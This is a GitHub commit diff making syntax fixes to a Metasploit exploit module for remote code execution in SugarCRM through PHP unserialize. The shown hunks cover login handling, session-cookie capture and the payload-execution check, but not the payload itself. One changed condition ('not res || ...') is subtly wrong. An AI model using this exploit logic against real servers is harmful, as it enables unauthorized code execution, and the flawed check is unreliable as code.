Skip to content

Commit 321eb45

Browse files
committed
Syntax Fixes
Fixed some or's to || - and's to &&. Fixed failure if statement (fails using fail_with()) Fixed nested else (now and elsif) Changed final execute logic - checks for success rather than failure.
1 parent fefc3d0 commit 321eb45

File tree

1 file changed

+7
-10
lines changed

1 file changed

+7
-10
lines changed

modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb

Lines changed: 7 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -95,21 +95,18 @@ def exploit
9595
'data' => data
9696
})
9797

98-
if res.nil? or res.headers['Location'] =~ /action=Login/ or res.get_cookies.empty?
98+
if res.nil? || res.headers['Location'] =~ /action=Login/ || res.get_cookies.empty?
9999
print_error("#{peer} - Login failed with \"#{username}:#{password}\"")
100100
return
101101
end
102102

103103
if res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*); path/
104104
session_id = $1
105-
else
106-
if res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*);/
105+
elsif res.get_cookies =~ /PHPSESSID=([A-Za-z0-9]*);/
107106
session_id = $1
108107
else
109-
print_error("#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
110-
return
108+
fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
111109
end
112-
end
113110

114111
print_status("#{peer} - Login successful with #{username}:#{password}")
115112

@@ -132,7 +129,7 @@ def exploit
132129
'data' => data
133130
})
134131

135-
if not res or res.code != 200
132+
if not res || res.code != 200
136133
print_error("#{peer} - Exploit failed: #{res.code}")
137134
return
138135
end
@@ -148,10 +145,10 @@ def exploit
148145
}
149146
})
150147

151-
if not res or res.code != 200
152-
print_error("#{peer} - Payload execution failed: #{res.code}")
153-
else
148+
if res && res.code == 200
154149
print_good("#{peer} - Payload Executed Successfuly: #{res.code}")
150+
else
151+
print_error("#{peer} - Payload execution failed: #{res.code}")
155152
end
156153

157154
end

0 commit comments

Comments
 (0)